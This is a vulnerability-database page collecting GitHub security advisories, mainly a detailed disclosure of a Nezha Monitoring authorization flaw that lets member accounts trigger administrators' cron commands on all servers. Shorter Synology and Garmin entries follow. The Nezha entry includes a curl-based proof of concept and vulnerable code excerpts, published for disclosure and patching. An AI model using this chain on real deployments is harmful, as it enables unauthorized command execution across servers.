  "modified": "2022-07-13T00:01:49Z",
  "published": "2022-01-19T00:00:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44836"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/rntcruz23/01af412813c63d6e0cc41c26f52893be"
    },
    {
      "type": "WEB",
      "url": "https://www.deltarm.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXF6-WJH4-JFJ6

Vulnerability from github – Published: 2026-05-23 00:08 – Updated: 2026-06-26 21:28

Summary

Nezha Monitoring: RoleMember can fire other users' cron tasks via AlertRule.FailTriggerTasks (no ownership check)

Details

Summary

createAlertRule and createService (and their update* siblings) accept FailTriggerTasks []uint64 and RecoverTriggerTasks []uint64 — IDs of cron tasks to fire when the alert/service trips. The validation function only validates the alert's Rules.Ignore server map; it never checks that the cron task IDs in FailTriggerTasks / RecoverTriggerTasks belong to the caller.

When the alert fires, singleton.CronShared.SendTriggerTasks(taskIDs, triggerServer) (service/singleton/crontask.go:113-127) looks up those task IDs in the global cron registry and executes them via CronTrigger. For non-AlertTrigger cover modes, CronTrigger fans the command out to every server in ServerShared.Range with no ownership check.

Net effect: a RoleMember can attach their alert rule (or service monitor) to another user's cron task ID — including admin's crons. When the alert trips, the admin's cron command runs across every server (or every server in its allow/deny list).

This is the same fanout/auth-bypass class as NEZHA-002 (cron creation), but reachable by a different code path: even if /cron writes are restricted to admin, this /alert-rule and /service writes are member-reachable and let a member invoke pre-existing admin crons.

Affected versions

Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.

Reachability chain

POST /api/v1/alert-rule (or POST /api/v1/service) is commonHandler-gated — any authenticated user.
createAlertRule / createService accepts FailTriggerTasks and RecoverTriggerTasks from the request body without validating ownership.
validateRule (cmd/dashboard/controller/alertrule.go:169-196) only checks rule.Ignore server IDs — not the trigger task IDs.
validateServers (cmd/dashboard/controller/service.go:543-549) only checks the service's SkipServers map — not the trigger task IDs.
When the alert/service trips: service/singleton/alertsentinel.go:170, 180 and service/singleton/servicesentinel.go:747, 750 call CronShared.SendTriggerTasks(...).
SendTriggerTasks (service/singleton/crontask.go:113-127) iterates the requested task IDs against c.list and calls CronTrigger(c, triggerServer)() for each — no ownership check.
CronTrigger then fans the cron's Command to every connected agent (per Cover rules).

Code locations

// cmd/dashboard/controller/alertrule.go:47-77
func createAlertRule(c *gin.Context) (uint64, error) {
    var arf model.AlertRuleForm
    var r model.AlertRule
    if err := c.ShouldBindJSON(&arf); err != nil { return 0, err }
    uid := getUid(c)
    r.UserID = uid
    r.Name = arf.Name
    r.Rules = arf.Rules
    r.FailTriggerTasks = arf.FailTriggerTasks       // <-- attacker-controlled task IDs
    r.RecoverTriggerTasks = arf.RecoverTriggerTasks // <-- ditto
    r.NotificationGroupID = arf.NotificationGroupID
    enable := arf.Enable
    r.TriggerMode = arf.TriggerMode
    r.Enable = &enable

    if err := validateRule(c, &r); err != nil { return 0, err }   // only checks rule.Ignore servers
    ...
}

// cmd/dashboard/controller/alertrule.go:169-196
func validateRule(c *gin.Context, r *model.AlertRule) error {
    if len(r.Rules) > 0 {
        for _, rule := range r.Rules {
            if !singleton.ServerShared.CheckPermission(c, maps.Keys(rule.Ignore)) {
                return singleton.Localizer.ErrorT("permission denied")
            }
            // ... duration/cycle validation only
        }
    }
    // BUG: no check on r.FailTriggerTasks or r.RecoverTriggerTasks ownership.
    return nil
}

// service/singleton/crontask.go:113-127
func (c *CronClass) SendTriggerTasks(taskIDs []uint64, triggerServer uint64) {
    c.listMu.RLock()
    var cronLists []*model.Cron
    for _, taskID := range taskIDs {
        if c, ok := c.list[taskID]; ok {                 // <-- looks up ANY cron in global state
            cronLists = append(cronLists, c)
        }
    }
    c.listMu.RUnlock()
    // BUG: no ownership check between alert.UserID and cron.UserID before invoking.
    for _, c := range cronLists {
        go CronTrigger(c, triggerServer)()
    }
}

// service/singleton/crontask.go:138-181 — CronTrigger
return func() {
    if cr.Cover == model.CronCoverAlertTrigger {
        // alert-only: only sends to triggerServer (the member's server, when alert was triggered by it)
        if s, ok := ServerShared.Get(triggerServer[0]); ok && s.TaskStream != nil {
            s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})
        }
        return
    }
    // For Cover=CronCoverAll or CronCoverIgnoreAll: fan out to every server.
    for _, s := range ServerShared.Range {
        if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] { continue }
        if cr.Cover == model.CronCoverIgnoreAll && !crIgnoreMap[s.ID] { continue }
        if s.TaskStream != nil {
            s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})
        }
    }
}

PoC

Pre-conditions: attacker has RoleMember credentials. Admin has at least one pre-existing cron with Cover=CronCoverAll or Cover=CronCoverIgnoreAll (i.e., a "run on all servers" maintenance cron — common in monitoring deployments).

Step 1: Enumerate admin cron IDs by ID-guessing. Try IDs 1..N; create AlertRule referencing each, see if the alert handler accepts.

Step 2: Create an alert rule referencing the admin's cron and pointed at an offline-trigger condition on the member's own server.

TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
    -d '{"username":"member","password":"hunter2"}' \
    http://nezha.example.com/api/v1/login | jq -r .token)

curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
    -d '{"name":"trip","rules":[{"type":"offline","duration":3,"min":1.0,"cover":"member-server-id"}],"fail_trigger_tasks":[1,2,3,4,5],"recover_trigger_tasks":[],"notification_group_id":0,"trigger_mode":0,"enable":true}' \
    http://nezha.example.com/api/v1/alert-rule

Step 3: Stop the agent on the member's own server (or unplug it). The alert trips after duration seconds. SendTriggerTasks([1,2,3,4,5], member-server-id) runs.

Step 4: For each cron ID in the list, if that cron exists in the global registry and has Cover=CronCoverAll/IgnoreAll, its Command runs on every server.

The same chain works via POST /api/v1/service (service-monitor with fail_trigger_tasks).

Composability with NEZHA-002

If NEZHA-002 is unfixed, this chain is redundant — the member already has direct cron-create access. With NEZHA-002 fixed, this still gives the member a means to invoke any pre-existing admin cron with the member's chosen trigger condition. The fix surface is also independent (alertrule/service write paths, not /cron writes).

Suggested fix

In validateRule (and validateServers):

if !singleton.CronShared.CheckPermission(c, slices.Values(r.FailTriggerTasks)) {
    return singleton.Localizer.ErrorT("permission denied")
}
if !singleton.CronShared.CheckPermission(c, slices.Values(r.RecoverTriggerTasks)) {
    return singleton.Localizer.ErrorT("permission denied")
}

Defense-in-depth in SendTriggerTasks: enforce that task.UserID == alert.UserID || alertOwnerIsAdmin || taskOwnerIsAdmin.

Severity

PR:L because RoleMember credentials needed.
AC:H because attacker has to ID-guess admin cron IDs and have an alert-trip vector. (For a deployment where the attacker has visibility into max cron ID via UI hints or the id-query echo, AC drops to L.)
S:C because the cron command runs on every connected agent (different trust zone).
Auth: authenticated RoleMember.

Reproduction environment

Tested against: nezhahq/nezha master @ 50dc8e660326b9f22990898142c58b7a5312b42a.
Code locations:
cmd/dashboard/controller/alertrule.go:47-77 (createAlertRule), 91-131 (updateAlertRule), 169-196 (validateRule)
cmd/dashboard/controller/service.go:404-445 (createService), 459-509 (updateService), 543-549 (validateServers)
service/singleton/crontask.go:113-127 (SendTriggerTasks), 133-181 (CronTrigger)
service/singleton/alertsentinel.go:170, 180 (alert-fire callsite)
service/singleton/servicesentinel.go:742-750 (service-fire callsite)

Reporter

Eddie Ran. Filed via reporter API. Companion to NEZHA-001/002 — same auth-bypass class but a different write path.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nezhahq/nezha"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.14.15-0.20260517022419-d7526351cf97"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47120"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-23T00:08:45Z",
    "nvd_published_at": "2026-06-12T22:16:51Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`createAlertRule` and `createService` (and their `update*` siblings) accept `FailTriggerTasks []uint64` and `RecoverTriggerTasks []uint64` \u2014 IDs of cron tasks to fire when the alert/service trips. The validation function only validates the alert\u0027s `Rules.Ignore` server map; it never checks that the cron task IDs in `FailTriggerTasks` / `RecoverTriggerTasks` belong to the caller.\n\nWhen the alert fires, `singleton.CronShared.SendTriggerTasks(taskIDs, triggerServer)` (`service/singleton/crontask.go:113-127`) looks up those task IDs in the global cron registry and executes them via `CronTrigger`. For non-`AlertTrigger` cover modes, `CronTrigger` fans the command out to every server in `ServerShared.Range` with no ownership check.\n\nNet effect: a `RoleMember` can attach their alert rule (or service monitor) to **another user\u0027s** cron task ID \u2014 including admin\u0027s crons. When the alert trips, the admin\u0027s cron command runs across every server (or every server in its allow/deny list).\n\nThis is the same fanout/auth-bypass class as `NEZHA-002` (cron creation), but reachable by a different code path: even if `/cron` writes are restricted to admin, this `/alert-rule` and `/service` writes are member-reachable and let a member invoke pre-existing admin crons.\n\n## Affected versions\n\nCommit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.\n\n## Reachability chain\n\n1. `POST /api/v1/alert-rule` (or `POST /api/v1/service`) is `commonHandler`-gated \u2014 any authenticated user.\n2. `createAlertRule` / `createService` accepts `FailTriggerTasks` and `RecoverTriggerTasks` from the request body without validating ownership.\n3. `validateRule` (`cmd/dashboard/controller/alertrule.go:169-196`) only checks `rule.Ignore` server IDs \u2014 not the trigger task IDs.\n4. `validateServers` (`cmd/dashboard/controller/service.go:543-549`) only checks the service\u0027s `SkipServers` map \u2014 not the trigger task IDs.\n5. When the alert/service trips: `service/singleton/alertsentinel.go:170, 180` and `service/singleton/servicesentinel.go:747, 750` call `CronShared.SendTriggerTasks(...)`.\n6. `SendTriggerTasks` (`service/singleton/crontask.go:113-127`) iterates the requested task IDs against `c.list` and calls `CronTrigger(c, triggerServer)()` for each \u2014 no ownership check.\n7. `CronTrigger` then fans the cron\u0027s `Command` to every connected agent (per `Cover` rules).\n\n## Code locations\n\n```go\n// cmd/dashboard/controller/alertrule.go:47-77\nfunc createAlertRule(c *gin.Context) (uint64, error) {\n    var arf model.AlertRuleForm\n    var r model.AlertRule\n    if err := c.ShouldBindJSON(\u0026arf); err != nil { return 0, err }\n    uid := getUid(c)\n    r.UserID = uid\n    r.Name = arf.Name\n    r.Rules = arf.Rules\n    r.FailTriggerTasks = arf.FailTriggerTasks       // \u003c-- attacker-controlled task IDs\n    r.RecoverTriggerTasks = arf.RecoverTriggerTasks // \u003c-- ditto\n    r.NotificationGroupID = arf.NotificationGroupID\n    enable := arf.Enable\n    r.TriggerMode = arf.TriggerMode\n    r.Enable = \u0026enable\n\n    if err := validateRule(c, \u0026r); err != nil { return 0, err }   // only checks rule.Ignore servers\n    ...\n}\n```\n\n```go\n// cmd/dashboard/controller/alertrule.go:169-196\nfunc validateRule(c *gin.Context, r *model.AlertRule) error {\n    if len(r.Rules) \u003e 0 {\n        for _, rule := range r.Rules {\n            if !singleton.ServerShared.CheckPermission(c, maps.Keys(rule.Ignore)) {\n                return singleton.Localizer.ErrorT(\"permission denied\")\n            }\n            // ... duration/cycle validation only\n        }\n    }\n    // BUG: no check on r.FailTriggerTasks or r.RecoverTriggerTasks ownership.\n    return nil\n}\n```\n\n```go\n// service/singleton/crontask.go:113-127\nfunc (c *CronClass) SendTriggerTasks(taskIDs []uint64, triggerServer uint64) {\n    c.listMu.RLock()\n    var cronLists []*model.Cron\n    for _, taskID := range taskIDs {\n        if c, ok := c.list[taskID]; ok {                 // \u003c-- looks up ANY cron in global state\n            cronLists = append(cronLists, c)\n        }\n    }\n    c.listMu.RUnlock()\n    // BUG: no ownership check between alert.UserID and cron.UserID before invoking.\n    for _, c := range cronLists {\n        go CronTrigger(c, triggerServer)()\n    }\n}\n```\n\n```go\n// service/singleton/crontask.go:138-181 \u2014 CronTrigger\nreturn func() {\n    if cr.Cover == model.CronCoverAlertTrigger {\n        // alert-only: only sends to triggerServer (the member\u0027s server, when alert was triggered by it)\n        if s, ok := ServerShared.Get(triggerServer[0]); ok \u0026\u0026 s.TaskStream != nil {\n            s.TaskStream.Send(\u0026pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})\n        }\n        return\n    }\n    // For Cover=CronCoverAll or CronCoverIgnoreAll: fan out to every server.\n    for _, s := range ServerShared.Range {\n        if cr.Cover == model.CronCoverAll \u0026\u0026 crIgnoreMap[s.ID] { continue }\n        if cr.Cover == model.CronCoverIgnoreAll \u0026\u0026 !crIgnoreMap[s.ID] { continue }\n        if s.TaskStream != nil {\n            s.TaskStream.Send(\u0026pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})\n        }\n    }\n}\n```\n\n## PoC\n\nPre-conditions: attacker has `RoleMember` credentials. Admin has at least one pre-existing cron with `Cover=CronCoverAll` or `Cover=CronCoverIgnoreAll` (i.e., a \"run on all servers\" maintenance cron \u2014 common in monitoring deployments).\n\nStep 1: Enumerate admin cron IDs by ID-guessing. Try IDs 1..N; create AlertRule referencing each, see if the alert handler accepts.\n\nStep 2: Create an alert rule referencing the admin\u0027s cron and pointed at an offline-trigger condition on the member\u0027s own server.\n\n```bash\nTOKEN=$(curl -sX POST -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"username\":\"member\",\"password\":\"hunter2\"}\u0027 \\\n    http://nezha.example.com/api/v1/login | jq -r .token)\n\ncurl -sX POST -H \"Authorization: Bearer $TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"name\":\"trip\",\"rules\":[{\"type\":\"offline\",\"duration\":3,\"min\":1.0,\"cover\":\"member-server-id\"}],\"fail_trigger_tasks\":[1,2,3,4,5],\"recover_trigger_tasks\":[],\"notification_group_id\":0,\"trigger_mode\":0,\"enable\":true}\u0027 \\\n    http://nezha.example.com/api/v1/alert-rule\n```\n\nStep 3: Stop the agent on the member\u0027s own server (or unplug it). The alert trips after `duration` seconds. `SendTriggerTasks([1,2,3,4,5], member-server-id)` runs.\n\nStep 4: For each cron ID in the list, if that cron exists in the global registry and has `Cover=CronCoverAll/IgnoreAll`, its `Command` runs on every server.\n\nThe same chain works via `POST /api/v1/service` (service-monitor with `fail_trigger_tasks`).\n\n## Composability with NEZHA-002\n\nIf `NEZHA-002` is unfixed, this chain is redundant \u2014 the member already has direct cron-create access. With `NEZHA-002` fixed, this still gives the member a means to invoke any **pre-existing** admin cron with the member\u0027s chosen trigger condition. The fix surface is also independent (alertrule/service write paths, not /cron writes).\n\n## Suggested fix\n\nIn `validateRule` (and `validateServers`):\n\n```go\nif !singleton.CronShared.CheckPermission(c, slices.Values(r.FailTriggerTasks)) {\n    return singleton.Localizer.ErrorT(\"permission denied\")\n}\nif !singleton.CronShared.CheckPermission(c, slices.Values(r.RecoverTriggerTasks)) {\n    return singleton.Localizer.ErrorT(\"permission denied\")\n}\n```\n\nDefense-in-depth in `SendTriggerTasks`: enforce that `task.UserID == alert.UserID || alertOwnerIsAdmin || taskOwnerIsAdmin`.\n\n## Severity\n\n  - PR:L because RoleMember credentials needed.\n  - AC:H because attacker has to ID-guess admin cron IDs and have an alert-trip vector. (For a deployment where the attacker has visibility into max cron ID via UI hints or the `id`-query echo, AC drops to L.)\n  - S:C because the cron command runs on every connected agent (different trust zone).\n- **Auth:** authenticated `RoleMember`.\n\n## Reproduction environment\n\n- Tested against: `nezhahq/nezha` master @ `50dc8e660326b9f22990898142c58b7a5312b42a`.\n- Code locations:\n  - `cmd/dashboard/controller/alertrule.go:47-77` (createAlertRule), 91-131 (updateAlertRule), 169-196 (validateRule)\n  - `cmd/dashboard/controller/service.go:404-445` (createService), 459-509 (updateService), 543-549 (validateServers)\n  - `service/singleton/crontask.go:113-127` (SendTriggerTasks), 133-181 (CronTrigger)\n  - `service/singleton/alertsentinel.go:170, 180` (alert-fire callsite)\n  - `service/singleton/servicesentinel.go:742-750` (service-fire callsite)\n\n## Reporter\n\nEddie Ran. Filed via reporter API. Companion to NEZHA-001/002 \u2014 same auth-bypass class but a different write path.",
  "id": "GHSA-rxf6-wjh4-jfj6",
  "modified": "2026-06-26T21:28:31Z",
  "published": "2026-05-23T00:08:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-rxf6-wjh4-jfj6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47120"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nezhahq/nezha"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nezha Monitoring: RoleMember can fire other users\u0027 cron tasks via AlertRule.FailTriggerTasks (no ownership check)"
}

GHSA-RXHM-9GMQ-9482

Vulnerability from github – Published: 2024-12-04 12:31 – Updated: 2024-12-04 12:31

Details

Incorrect authorization vulnerability in Alert.Setting webapi component in Synology Surveillance Station before 9.2.0-11289 and 9.2.0-9289 allows remote authenticated users to to perform limited actions on the alerting function via unspecified vectors.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-52943"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-04T07:15:04Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect authorization vulnerability in Alert.Setting webapi component in Synology Surveillance Station before 9.2.0-11289 and 9.2.0-9289 allows remote authenticated users to to perform limited actions on the alerting function via unspecified vectors.",
  "id": "GHSA-rxhm-9gmq-9482",
  "modified": "2024-12-04T12:31:44Z",
  "published": "2024-12-04T12:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52943"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXP7-W842-WJMH

Vulnerability from github – Published: 2023-05-23 21:30 – Updated: 2024-04-04 04:18

Details

The permission system implemented and enforced by the GarminOS TVM component in CIQ API version 1.0.0 through 4.1.7 can be bypassed entirely. A malicious application with specially crafted code and data sections could access restricted CIQ modules, call their functions and disclose sensitive data such as user profile information and GPS coordinates, among others.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-23299"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-23T20:15:09Z",
    "severity": "HIGH"
  },
  "details": "The permission system implemented and enforced by the GarminOS TVM component in CIQ API version 1.0.0 through 4.1.7 can be bypassed entirely. A malicious application with specially crafted code and data sections could access restricted CIQ modules, call their functions and disclose sensitive data such as user profile information and GPS coordinates, among others.",
  "id": "GHSA-rxp7-w842-wjmh",
  "modified": "2024-04-04T04:18:58Z",
  "published": "2023-05-23T21:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23299"
    },
    {
      "type": "WEB",
      "url": "https://developer.garmin.com/connect-iq/core-topics/manifest-and-permissions"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anvilsecure/garmin-ciq-app-research/blob/main/advisories/CVE-2023-23299.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

CWE-863

Incorrect Authorization

Summary

Details

PoC

Impact

Duplicate Advisory

Original Description

Impact

CreationRole

MastersRole

Patches

Workarounds

CreationRole

MastersRole

References

Summary

Affected versions

Reachability chain

Code locations

PoC

Composability with NEZHA-002

Suggested fix

Severity

Reproduction environment

Reporter

Mitigation

Mitigation

Mitigation MIT-4.4

Mitigation

Mitigation